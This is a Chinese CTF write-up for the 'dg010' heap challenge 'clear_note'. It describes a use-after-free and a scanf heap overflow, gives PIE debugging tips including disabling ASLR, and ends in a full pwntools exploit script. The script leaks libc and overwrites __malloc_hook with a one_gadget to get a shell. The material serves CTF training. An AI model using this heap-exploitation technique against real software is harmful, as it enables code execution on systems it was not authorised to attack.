dg010赛题复现
师傅去打dg010去了,扔给我一道题让我做,无奈当时恰好要去上课,做到一半就扔那儿了,现在有时间了,就做了一下。
首先打开ida看下发现偏移是相对文件的,所以肯定是开启了pie,之后看函数,主要是dele和add里,dele中没有立即对chukList中的ptr清零导致会出现野指针,还有就是add函数中使用的是scanf进行输入,没有对输入长度进行检测,所以存在堆溢出。
分析完两个主要的漏洞接下来思考解题策略,开启了pie我们可以通过unsorted bin泄露,得到libc,checksec看了一下发现保护全开,由于保护全开,所以无法进行got覆写之类的,这里考虑mallocHook或者freeHook的覆写,freeHook看了下发现在内存中周边没有合适的size绕过fastbin检查,而mallocHook恰好在ptr-0x13的位置是有合适的size的(低字节0x7f),如果add的是0x60的fast chunk,那么条件是符合的,所以这里可以用the house of spirit进行mallocHook写oneGadget,就可以利用成功了。
这道题的坑点在于开启pie的程序调试的时候不方便,因为代码段是随机化的,break断点不固定,需要手动去断点比较烦。这里要解决这个问题目前我知道的有两种方法,第一种是队友诉我的,通过关闭本地系统的内存地址随机化保护进行调试。echo 0 >/proc/sys/kernel/randomize_va_space 这样的话就能暂时关闭随机化,默认镜像的加载基址是0x555555554000,但是由于ida中显示的指令是相对文件的基址,所以想要下断的话还是需要进行一定的计算,这里队友告诉我可以通过ida中修改segment段的基址,也就是自己制定段加载基址来确定text指令段的内存地址。试了一下还是相当方便的。以后本地调试的时候可以利用这种方法,非常方便。
还有一种方法就是通过在脚本中加入一些函数通过查找proc中的相关地址来得到加载地址,也行,不过感觉有一点麻烦,不过调试的时候更加真实吧233333,各有利弊。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * p=process('./clear_note') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,data): p.recvuntil("choice>> ") p.sendline('1') p.recvuntil("size: ") p.sendline(str(size)) p.recvuntil("info: ") p.send(data) p.sendline('\n')
def show(idx): p.recvuntil("choice>> ") p.sendline('2') p.recvuntil("ndex: ") p.sendline(str(idx)) p.recvuntil('info: ')
def dele(idx): p.recvuntil("choice>> ") p.sendline('3') p.recvuntil("index: ") p.sendline(str(idx))
add(0x100,'a') add(0x60,'b') dele(0) show(0) arena=u64(p.recv(6).ljust(8,'\x00')) libc.address=arena-0x3c4b78 log.info('libcBase > '+hex(libc.address)) mallocHook=libc.symbols['__malloc_hook'] log.info('__malloc_hook > '+hex(mallocHook))
oneGadget=libc.address+0xf1147
writeAddress=mallocHook-0x13
dele(1) dele(0) dele(1)
add(0x100,'a'*0x100+p64(0)+p64(0x71)+p64(writeAddress)) add(0x60,'b') dele(0) dele(0) dele(1) dele(1) add(0x60,'c'*3+p64(oneGadget)) p.recvuntil("choice>> ") p.sendline('1') p.recvuntil("size: ") p.sendline('10') p.interactive()
|